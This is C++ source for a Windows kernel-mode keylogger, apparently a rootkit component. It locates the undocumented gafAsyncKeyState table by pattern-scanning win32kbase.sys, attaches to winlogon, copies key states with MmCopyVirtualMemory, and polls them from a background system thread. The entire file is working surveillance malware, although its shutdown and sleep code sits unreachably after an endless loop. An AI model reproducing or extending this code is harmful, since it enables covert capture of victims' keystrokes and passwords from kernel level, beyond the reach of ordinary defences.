#include "Keylogger.hpp" #include "AddressUtils.hpp" UINT8 keyStateMap[64] = { 0 }; UINT8 keyPreviousStateMap[64] = { 0 }; UINT8 keyRecentStateMap[64] = { 0 }; /* * @brief Converts a virtual key code (VK) to its corresponding string representation. * * @param[in] vk Virtual key code. * * @return CONST CHAR* Corresponding character or key name. */ CONST CHAR* BeVkToChar(_In_ UINT8 vk) { switch (vk) { case VK_KEY_A: return "A"; case VK_KEY_B: return "B"; case VK_KEY_C: return "C"; case VK_KEY_D: return "D"; case VK_KEY_E: return "E"; case VK_KEY_F: return "F"; case VK_KEY_G: return "G"; case VK_KEY_H: return "H"; case VK_KEY_I: return "I"; case VK_KEY_J: return "J"; case VK_KEY_K: return "K"; case VK_KEY_L: return "L"; case VK_KEY_M: return "M"; case VK_KEY_N: return "N"; case VK_KEY_O: return "O"; case VK_KEY_P: return "P"; case VK_KEY_Q: return "Q"; case VK_KEY_R: return "R"; case VK_KEY_S: return "S"; case VK_KEY_T: return "T"; case VK_KEY_U: return "U"; case VK_KEY_V: return "V"; case VK_KEY_W: return "W"; case VK_KEY_X: return "X"; case VK_KEY_Y: return "Y"; case VK_KEY_Z: return "Z"; case VK_KEY_0: return "0"; case VK_KEY_1: return "1"; case VK_KEY_2: return "2"; case VK_KEY_3: return "3"; case VK_KEY_4: return "4"; case VK_KEY_5: return "5"; case VK_KEY_6: return "6"; case VK_KEY_7: return "7"; case VK_KEY_8: return "8"; case VK_KEY_9: return "9"; case VK_LBUTTON: return "LEFT MOUSE BUTTON"; case VK_RBUTTON: return "RIGHT MOUSE BUTTON"; case VK_CANCEL: return "CANCEL"; case VK_MBUTTON: return "MIDDLE MOUSE BUTTON"; case VK_XBUTTON1: return "X1 MOUSE BUTTON"; case VK_XBUTTON2: return "X2 MOUSE BUTTON"; case VK_BACK: return "BACKSPACE"; case VK_TAB: return "TAB"; case VK_CLEAR: return "CLEAR"; case VK_RETURN: return "ENTER"; case VK_SHIFT: return "SHIFT"; case VK_CONTROL: return "CONTROL"; case VK_MENU: return "ALT"; case VK_PAUSE: return "PAUSE"; case VK_CAPITAL: return "CAPS LOCK"; case VK_ESCAPE: return "ESCAPE"; case VK_SPACE: return "SPACEBAR"; case VK_PRIOR: return "PAGE UP"; case VK_NEXT: return "PAGE DOWN"; case VK_END: return "END"; case VK_HOME: return "HOME"; case VK_LEFT: return "LEFT ARROW"; case VK_UP: return "UP ARROW"; case VK_RIGHT: return "RIGHT ARROW"; case VK_DOWN: return "DOWN ARROW"; case VK_SELECT: return "SELECT"; case VK_PRINT: return "PRINT"; case VK_EXECUTE: return "EXECUTE"; case VK_SNAPSHOT: return "PRINT SCREEN"; case VK_INSERT: return "INSERT"; case VK_DELETE: return "DELETE"; case VK_HELP: return "HELP"; case VK_LWIN: return "LEFT WINDOWS"; case VK_RWIN: return "RIGHT WINDOWS"; case VK_APPS: return "APPLICATIONS"; case VK_SLEEP: return "SLEEP"; case VK_NUMPAD0: return "NUMPAD 0"; case VK_NUMPAD1: return "NUMPAD 1"; case VK_NUMPAD2: return "NUMPAD 2"; case VK_NUMPAD3: return "NUMPAD 3"; case VK_NUMPAD4: return "NUMPAD 4"; case VK_NUMPAD5: return "NUMPAD 5"; case VK_NUMPAD6: return "NUMPAD 6"; case VK_NUMPAD7: return "NUMPAD 7"; case VK_NUMPAD8: return "NUMPAD 8"; case VK_NUMPAD9: return "NUMPAD 9"; case VK_MULTIPLY: return "NUMPAD *"; case VK_ADD: return "NUMPAD +"; case VK_SEPARATOR: return "SEPARATOR"; case VK_SUBTRACT: return "NUMPAD -"; case VK_DECIMAL: return "NUMPAD ."; case VK_DIVIDE: return "NUMPAD /"; case VK_F1: return "F1"; case VK_F2: return "F2"; case VK_F3: return "F3"; case VK_F4: return "F4"; case VK_F5: return "F5"; case VK_F6: return "F6"; case VK_F7: return "F7"; case VK_F8: return "F8"; case VK_F9: return "F9"; case VK_F10: return "F10"; case VK_F11: return "F11"; case VK_F12: return "F12"; case VK_F13: return "F13"; case VK_F14: return "F14"; case VK_F15: return "F15"; case VK_F16: return "F16"; case VK_F17: return "F17"; case VK_F18: return "F18"; case VK_F19: return "F19"; case VK_F20: return "F20"; case VK_F21: return "F21"; case VK_F22: return "F22"; case VK_F23: return "F23"; case VK_F24: return "F24"; case VK_NUMLOCK: return "NUM LOCK"; case VK_SCROLL: return "SCROLL LOCK"; case VK_BROWSER_BACK: return "BROWSER BACK"; case VK_BROWSER_FORWARD: return "BROWSER FORWARD"; case VK_BROWSER_REFRESH: return "BROWSER REFRESH"; case VK_BROWSER_STOP: return "BROWSER STOP"; case VK_BROWSER_SEARCH: return "BROWSER SEARCH"; case VK_BROWSER_FAVORITES: return "BROWSER FAVORITES"; case VK_BROWSER_HOME: return "BROWSER HOME"; case VK_VOLUME_MUTE: return "VOLUME MUTE"; case VK_VOLUME_DOWN: return "VOLUME DOWN"; case VK_VOLUME_UP: return "VOLUME UP"; case VK_MEDIA_NEXT_TRACK: return "MEDIA NEXT TRACK"; case VK_MEDIA_PREV_TRACK: return "MEDIA PREVIOUS TRACK"; case VK_MEDIA_STOP: return "MEDIA STOP"; case VK_MEDIA_PLAY_PAUSE: return "MEDIA PLAY/PAUSE"; case VK_LAUNCH_MAIL: return "LAUNCH MAIL"; case VK_MEDIA_SELECT: return "MEDIA SELECT"; case VK_LAUNCH_APP1: return "LAUNCH APPLICATION 1"; case VK_LAUNCH_APP2: return "LAUNCH APPLICATION 2"; case VK_OEM_1: return "OEM 1"; case VK_OEM_PLUS: return "OEM +"; case VK_OEM_COMMA: return "OEM ,"; case VK_OEM_MINUS: return "OEM -"; case VK_OEM_PERIOD: return "OEM ."; case VK_OEM_2: return "OEM 2"; case VK_OEM_3: return "OEM 3"; case VK_OEM_4: return "OEM 4"; case VK_OEM_5: return "OEM 5"; case VK_OEM_6: return "OEM 6"; case VK_OEM_7: return "OEM 7"; case VK_OEM_8: return "OEM 8"; case VK_OEM_102: return "OEM 102"; case VK_PROCESSKEY: return "IME PROCESS"; case VK_PACKET: return "PACKET"; case VK_ATTN: return "ATTN"; case VK_CRSEL: return "CRSEL"; case VK_EXSEL: return "EXSEL"; case VK_EREOF: return "EREOF"; case VK_PLAY: return "PLAY"; case VK_ZOOM: return "ZOOM"; default: return "UNKNOWN"; } } /* * @brief Updates the key state map by reading the contents of GafAsyncKeyStateAddr. * * @param[in] ProcId Process ID of the target process. * @param[in] GafAsyncKeyStateAddr Address of the key state structure. */ VOID BeUpdateKeyStateMap( _In_ CONST HANDLE& procId, _In_ CONST PVOID& gafAsyncKeyStateAddr ) { memcpy(keyPreviousStateMap, keyStateMap, 64); SIZE_T Size = 0; BeGlobals::pMmCopyVirtualMemory( BeGetEprocessByPid(HandleToULong(procId)), gafAsyncKeyStateAddr, PsGetCurrentProcess(), &keyStateMap, sizeof(UINT8[64]), KernelMode, &Size ); for (auto vk = 0u; vk < 256; ++vk) { // // If key is down but wasnt previously, set it in the recent state as down // if (IS_KEY_DOWN(keyStateMap, vk) && !(IS_KEY_DOWN(keyPreviousStateMap, vk))) { SET_KEY_DOWN(keyRecentStateMap, vk, TRUE); } } } /* * @brief Checks if a key was pressed since the last function call. * * @param[in] Vk Virtual key code. * * @return BOOLEAN TRUE if the key was pressed, FALSE otherwise. */ BOOLEAN BeWasKeyPressed( _In_ UINT8 vk ) { BOOLEAN result = IS_KEY_DOWN(keyRecentStateMap, vk); SET_KEY_DOWN(keyRecentStateMap, vk, FALSE); return result; } /* * @brief Retrieves the address of gafAsyncKeyState. * * @return PVOID Address of gafAsyncKeyState. */ PVOID BeGetGafAsyncKeyStateAddress() { // // TODO FIXME: THIS IS WINDOWS <= 10 ONLY // KAPC_STATE apc = { 0 }; // // Get Address of NtUserGetAsyncKeyState // DWORD64 ntUserGetAsyncKeyState = (DWORD64)BeGetSystemRoutineAddress("win32kbase.sys", "NtUserGetAsyncKeyState"); LOG_MSG("NtUserGetAsyncKeyState: 0x%llx\n", ntUserGetAsyncKeyState); // // To read session driver modules (such as win32kbase.sys, which contains NtUserGetAsyncKeyState), we need a process running in a user session // https://www.unknowncheats.me/forum/general-programming-and-reversing/492970-reading-memory-win32kbase-sys.html // KeStackAttachProcess(BeGlobals::winLogonProc, &apc); PVOID address = 0; UINT16 i = 0; // // Resolve gafAsyncKeyState address // for (; i < 500; ++i) { if ( *(BYTE*)(ntUserGetAsyncKeyState + i) == MOV_RAX_QWORD_BYTE1 && *(BYTE*)(ntUserGetAsyncKeyState + i + 1) == MOV_RAX_QWORD_BYTE2 && *(BYTE*)(ntUserGetAsyncKeyState + i + 2) == MOV_RAX_QWORD_BYTE3 ) { // // param for MOV RAX QWORD PTR is the offset to the address of // UINT32 offset = (*(PUINT32)(ntUserGetAsyncKeyState + i + 3)); // // 4 = length of offset value // address = (PVOID)(ntUserGetAsyncKeyState + i + 3 + 4 + offset); LOG_MSG("%02X %02X %02X %lx\n", *(BYTE*)(ntUserGetAsyncKeyState + i), *(BYTE*)(ntUserGetAsyncKeyState + i + 1), *(BYTE*)(ntUserGetAsyncKeyState + i + 2), offset); break; } } if (address == 0) { LOG_MSG("Could not resolve gafAsyncKeyState...\n"); } else { LOG_MSG("Found address to gafAsyncKeyState at offset [NtUserGetAsyncKeyState]+%i: 0x%llx\n", (INT)i, (ULONG_PTR)address); } KeUnstackDetachProcess(&apc); return address; } /* * @brief Background keylogger thread function that reads directly from gafAsyncKeyStateAddress. */ VOID BeKeyLoggerFunction( _In_ PVOID startContext ) { UNREFERENCED_PARAMETER(startContext); PVOID gafAsyncKeyStateAddr = BeGetGafAsyncKeyStateAddress(); while (true) { if (BeGlobals::bLogKeys) { BeUpdateKeyStateMap(BeGlobals::winLogonPid, gafAsyncKeyStateAddr); // // Just a poc :) // if (BeWasKeyPressed(VK_KEY_A)) { LOG_MSG("A key pressed\n"); } } } if (BeGlobals::bShutdown) { KeSetEvent(&BeGlobals::hKeyLoggerTerminationEvent, IO_NO_INCREMENT, FALSE); PsTerminateSystemThread(STATUS_SUCCESS); } // // Sleep for 0.05 seconds // LARGE_INTEGER interval; interval.QuadPart = -1 * (LONGLONG)50 * 10000; KeDelayExecutionThread(KernelMode, FALSE, &interval); }